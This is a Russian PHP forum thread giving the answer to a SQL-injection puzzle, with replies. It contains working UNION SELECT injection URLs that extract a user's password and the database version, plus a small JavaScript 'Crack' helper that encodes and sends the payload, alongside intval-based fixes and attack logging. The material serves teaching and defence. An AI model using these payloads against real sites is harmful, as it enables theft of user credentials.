Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель PHP 5 / 6 (3 издание). Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Ответ 004 на задачу N 11
 
 автор: SoftTime   (10.03.2006 в 17:38)   письмо автору
 
 

Ответ 004 на задачу N 11.
С условиями задачи можно ознакомится по ссылке.
Инъекции, отвечающей на оба вопроса, достаточно одной. Правда, в зависимости от настроек сервера она может потребоваться такой:

user.php?id_user=0+union+select+id_user,name,pass,version()+as+email,pass+as+url+from+userslist+where+id_user=2
или такой
user.php?id_user=0+union+select+id_user,name,pass,CONVERT(version()+USING+cp1251)+as+email,pass+as+url+from+userslist+where+id_user=2

Первый вариант разворачивается в запрос:

  select ..... where 0
union
  select id_user,
         name,
         pass,
         version() as email,
         pass as url
     from userslist
     where id_user=2

Второй - учитывает возможную работу сервера в unicode - в запрос:
select ..... where 0
union
select id_user,
name,
pass,
CONVERT(version() USING cp1251) as email,
pass as url
from userslist
where id_user=2
В обоих случаях id атакуемого пользователя прописывается в хвосте запроса.
Впрочем, никто не мешает сделать запрос и по другому полю, напр. name.

Защита от SQL-инъекций осуществляется по-разному, в зависимости от типа передаваемого серверу параметра.

Чтобы обеспечить защиту в условиях задачи, нужно строку

$query = "SELECT * FROM userslist ORDER BY name";

заменить на

$query = "SELECT  name, email, url "
       . "FROM userslist WHERE id_user = ". intval($_GET['id_user']);

Целочисленное преобразование аргумента скрипта не позволит хвосту инъективной строки пролезть в тело SQL-оператора.
Явное перечисление требуемых полей предотвратит пересылку паролей пользователей между сервером БД и PHP, уменьшит трафик между ними и избавит php от собирания лишних данных в массив.
Хотя в этом примере они и размещены на одной машине, все равно писать select * - дурной тон.

Если параметр является не числом, а текстовой строкой, задача получается куда более интересной и насыщенной. Но так её не ставили, а методика защиты при этом совсем другая, я решил её решением ответ не загромождать.

Если нужно не просто защитить параметр, но и как-то отреагировать зафиксировать на факт попытки инъекции, можно сравнить строку с преобразованным значением:

if(intval($_GET['id_user']) != GET['id_user'])
{
   ... // запротоколировать параметры
   ... // обратившегося хоста
   ... // и собственно строку запроса.
   die(...); // и прервать выполнение скрипта
}

Для проверки сайта на уязвимость для sql-injection-атак был написан и применен следующий скрипт:

<html><head>  <script language=javascript>
  function show()  {
     s = document.forms.f.elements.inj.value;
     s = s.replace(/\%/g, '%25'); // replace %'s
     s = s.replace(/\&/g, '%26'); // replace &'s
     s = s.replace(/\+/g, '%2B'); // replace +'s
     s = s.replace(/\ /g, '+');   // replace spaces
     document.forms.f.elements.rs.value = s;
  }
  function crack()
  {
   open(document.forms.f.elements.url.value
        + document.forms.f.elements.rs.value,
        "Testwin");
  }
  </script>
</head>

<body>
<form name=f >
Injection:<input size=80 name=inj value=
 "0 union select id_user,name,pass,pass as url from userslist where id_user=2"
 > <input type=button value=Show onclick="show();">
<br>Result:<input size=80 name=rs >
<br>Cracked site url:
<input size=80 name=url value="http://localhost/Test/inject/user.php?id_user=">
<input type=button value=Crack onclick="crack();">
</form></body></html>

Trianon

http://www.softtime.ru/info/task.php?id_article=81

   
 
 автор: cheops   (13.03.2006 в 00:19)   письмо автору
 
   для: SoftTime   (10.03.2006 в 17:38)
 

Очень красивая инъекция. as email кстати можно не писать - при использовании UNION названия полей из второго SELECT-запроса не учитываются (в MySQL по-крайней мере). Очень оригинальные решения защиты - очень понравилось решение.

PS с фразой
Хотя в этом примере они и размещены на одной машине, все равно писать select * - дурной тон.

готов поспорить, так как таблицы часто расширяются уже во время разработки и эксплуатации (изменение требований заказчика после разработки продукта - это объективная реальность), поэтому очень легко забыть добавить новые поля в список после SELECT, особенно если запросов несколько десятков. Это порождает множество глюков, которые сложно отловить - переменные будут принимать просто пустые значения, ошибок выводится не будет. Т.е. код становится сложно-сопровождаемым и предрасположен к ошибкам. Я готов пожертвовать даже безопасностью ради стабильности и надёжности кода. Так как заказчика может и не взломают и проблем с ресурсами на сервере может не быть, а вот если он будет наблюдать ежедневные глюки - я огребу море пост-гарантийной работы и лишусь всех последующих заказов.

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования